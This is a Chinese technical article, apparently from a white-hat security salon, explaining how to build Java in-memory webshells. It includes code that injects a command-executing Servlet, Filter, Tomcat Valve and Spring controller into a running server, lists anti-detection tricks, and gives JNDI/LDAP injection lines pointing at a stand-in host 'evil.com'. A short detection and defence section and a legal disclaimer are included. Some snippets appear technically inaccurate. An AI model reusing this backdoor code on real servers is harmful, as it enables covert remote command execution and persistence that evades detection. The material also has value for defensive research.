【补天白帽黑客城市沙龙-南京站】生异形吗,挖掘构建你自己的Java内存马
字数 1126 2025-08-29 22:41:32
Java内存马构建与挖掘技术详解
一、Java内存马概述
Java内存马是一种驻留在内存中的恶意后门技术,它不依赖于文件系统上的持久化,直接通过内存加载执行恶意代码,具有以下特点:
- 无文件落地:不写入磁盘,传统文件扫描难以检测
- 高隐蔽性:运行在合法进程内,行为与正常应用相似
- 高持久性:通过hook关键组件实现长期驻留
二、Java内存马技术原理
1. 核心实现机制
Java内存马主要通过以下方式实现:
- 动态类加载:利用ClassLoader机制动态加载恶意字节码
- 反射调用:通过反射调用关键API实现功能
- 组件hook:篡改Servlet、Filter、Listener等Web组件
2. 常见注入点
- Servlet API:通过动态注册Servlet实现
- Filter链:插入恶意Filter截获请求
- Listener:利用ServletRequestListener等监听器
- Tomcat Valve:在Tomcat管道中插入恶意Valve
- Spring Controller:动态注册Spring MVC控制器
三、Java内存马构建技术
1. 基于Servlet的内存马
// 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
// 创建恶意Servlet
Servlet servlet = new Servlet() {
@Override
public void service(ServletRequest req, ServletResponse res) {
// 恶意代码执行逻辑
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
Process p = Runtime.getRuntime().exec(cmd);
// 输出结果...
} catch (Exception e) {}
}
}
// 其他方法实现...
};
// 动态注册Servlet
Wrapper wrapper = context.createWrapper();
wrapper.setServlet(servlet);
wrapper.setName("evilServlet");
context.addChild(wrapper);
// 添加URL映射
context.addServletMappingDecoded("/evil", "evilServlet");
2. 基于Filter的内存马
// 获取StandardContext (同上)
// 创建恶意Filter
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
// 命令执行逻辑
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
// 执行命令...
} catch (Exception e) {}
return;
}
chain.doFilter(req, res);
}
// 其他方法实现...
};
// 动态注册Filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
context.addFilterDef(filterDef);
// 创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evilFilter");
filterMap.addURLPattern("/*");
context.addFilterMapBefore(filterMap);
3. 基于Tomcat Valve的内存马
// 获取Pipeline
StandardContext context = ...; // 获取方式同上
Pipeline pipeline = context.getPipeline();
// 创建恶意Valve
Valve valve = new Valve() {
@Override
public void invoke(Request request, Response response) {
// 命令执行逻辑
String cmd = request.getParameter("cmd");
if(cmd != null) {
try {
// 执行命令...
return;
} catch (Exception e) {}
}
getNext().invoke(request, response);
}
};
// 添加到Pipeline
pipeline.addValve(valve);
四、内存马检测与防御
1. 检测技术
- 内存扫描:检查JVM中加载的类,识别可疑组件
- 行为监控:监控关键API调用(如ClassLoader.defineClass)
- 组件审计:定期检查Servlet/Filter/Listener注册情况
- 流量分析:检测异常请求模式和响应特征
2. 防御措施
- 安全管理器:启用Java SecurityManager限制敏感操作
- 类加载控制:限制动态类加载行为
- 组件白名单:对Web组件进行签名验证
- 运行时保护:使用RASP技术拦截恶意行为
五、高级技术扩展
1. 反检测技术
- 类名随机化:动态生成随机类名
- 字节码混淆:使用ASM等工具混淆恶意代码
- 内存加密:加密驻留的恶意代码
- 多阶段加载:分阶段加载恶意组件
2. 无文件落地技术
// 通过JNDI注入
Context ctx = new InitialContext();
ctx.bind("rmi://evil.com/exploit", new EvilObject());
// 通过LDAP注入
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://evil.com:1389/o=reference");
DirContext ctx = new InitialDirContext(env);
ctx.lookup("cn=evil,dc=example,dc=com");
六、实战案例分析
1. Spring MVC内存马
// 获取DispatcherServlet
ServletContext servletContext = request.getSession().getServletContext();
Field attrField = servletContext.getClass().getDeclaredField("attributes");
attrField.setAccessible(true);
Map<String, Object> attributes = (Map<String, Object>) attrField.get(servletContext);
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping handlerMapping = (RequestMappingHandlerMapping) attributes.get("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE");
// 注册恶意Controller
Method getMappingForMethod = handlerMapping.getClass().getSuperclass().getSuperclass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
Method evilMethod = new Object() {
public void evil(HttpServletRequest req, HttpServletResponse res) {
// 恶意代码...
}
}.getClass().getDeclaredMethod("evil", HttpServletRequest.class, HttpServletResponse.class);
RequestMappingInfo mappingInfo = (RequestMappingInfo) getMappingForMethod.invoke(handlerMapping, evilMethod, Object.class);
handlerMapping.registerMapping(mappingInfo, new Object() {
@RequestMapping("/evil")
public void evil(HttpServletRequest req, HttpServletResponse res) {
// 恶意代码...
}
}, evilMethod);
七、工具与资源
-
内存马生成工具:
- Godzilla
- Behinder
- JavaMemoryShell
-
检测工具:
- Arthas
- JavaMelody
- RASP解决方案
-
分析工具:
- JD-GUI
- JADX
- Bytecode Viewer
八、法律与道德声明
本文所述技术仅供安全研究、防御技术提升和授权测试使用。任何未经授权的系统入侵行为都是违法的,使用者需自行承担法律责任。安全研究人员应在法律允许范围内进行技术研究和实践。